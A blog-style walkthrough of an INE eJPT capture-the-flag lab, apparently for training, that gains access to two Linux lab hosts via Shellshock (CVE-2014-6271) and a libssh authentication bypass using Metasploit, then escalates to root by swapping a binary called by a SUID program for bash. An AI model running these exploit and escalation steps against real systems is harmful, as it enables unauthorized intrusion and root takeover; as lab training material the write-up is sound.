Hello everyone! 👋

In this blog, I’ll walk through the System-Host Based Attacks CTF 2 from INE’s eJPT path and explain how I approached each flag. The focus is on methodology and reasoning — not just dropping commands.

This lab has two Linux targets: target1.ine.local and target2.ine.local. The goal is to capture four flags hidden across both machines using system and host-based attack techniques.

Note: If any exploit doesn’t work as expected, restart the CTF and try again.

So, let’s dive in.

Q. Check the root (‘/’) directory for a file that might hold the key to the first flag on target1.ine.local.

As usual, I started with an Nmap scan to identify the running services.

nmap -T5 -A target1.ine.local

Only one port was open — port 80 running Apache httpd 2.4.6. I navigated to http://target1.ine.local and it automatically redirected to /browser.cgi.

That immediately clicked — a CGI file on Apache 2.4.6? This could be Shellshock.

I ran DIRB to enumerate the directories:

dirb http://target1.ine.local

DIRB found a /cgi-bin/ directory returning 403 Forbidden, and confirmed the /browser.cgi file. To verify the vulnerability, I ran Nmap's shellshock detection script directly against that path:

nmap -T5 -sV -p 80 --script http-shellshock \
  --script-args uri=/browser.cgi target1.ine.local

The target was VULNERABLE to CVE-2014–6271 — the server was executing commands injected via HTTP headers.

I searched for a compatible Metasploit module for Apache 2.4.6 and loaded it up:

use exploit/multi/http/apache_mod_cgi_bash_env_exec
set rhosts target1.ine.local
set lhost <your-ip>
set targeturi /browser.cgi
run

A Meterpreter session opened. I listed the contents of the root / directory:

meterpreter > ls /

Right there in the root — flag.txt.

Q. In the server’s root directory, there might be something hidden. Explore ‘/opt/apache/htdocs/’ carefully to find the next flag on target1.ine.local.

Still on the same Meterpreter session. The hint said something hidden — so I listed with the -a flag to catch hidden files:

meterpreter > ls -a /opt/apache/htdocs/

There it was — .flag.txt. Hidden in plain sight, invisible to a regular ls.

Q. Investigate the user’s home directory and consider using ‘libssh_auth_bypass’ to uncover the flag on target2.ine.local.

I kicked off a fresh Nmap scan on the second target:

nmap -T5 -A target2.ine.local

Only one port open — port 22 running libssh 0.8.3. The hint was already pointing at the exact module to use.

In Metasploit:

use auxiliary/scanner/ssh/libssh_auth_bypass
set rhosts target2.ine.local
set spawn_pty true
run

A shell session opened — no credentials needed. I interacted with the session and navigated to the user’s home directory:

sessions 3
/bin/bash -i
ls /home/user

flag.txt was right there in /home/user — alongside two other interesting files: greetings and welcome.

Q. The most restricted areas often hold the most valuable secrets. Look into the ‘/root’ directory to find the hidden flag on target2.ine.local.

Those two files — greetings and welcome — were worth investigating. I checked their permissions:

ls -la

• welcome — owned by root, SUID bit set (-rwsr-xr-x), executable by us
• greetings — owned by root, no permissions for us (-rwx------)

I ran strings on welcome to understand what it was doing:

strings welcome

Inside the output, I could see it was calling the greetings binary. So welcome runs as root via SUID — and it calls greetings. If I replace greetings with something I control, I get root execution.

I tried running ./greetings directly — Permission denied. As expected.

So I deleted it and replaced it with a copy of bash:

rm -rf greetings
cp /bin/bash greetings
./welcome

Running welcome now called my fake greetings — which was just bash. Since welcome carries root privileges via SUID, I got a root shell.

ls /root

flag.txt was right there in /root.

Final Thoughts

This CTF introduced two techniques worth understanding properly — Shellshock and SUID abuse.

Shellshock is over a decade old, but unpatched Apache CGI setups still exist in the wild. The SUID escalation was the most interesting part: welcome trusted an external binary without verifying it, and that trust was the vulnerability. Replace the file, inherit root privileges. Simple — and something you'll encounter again in real engagements.

Thanks for reading!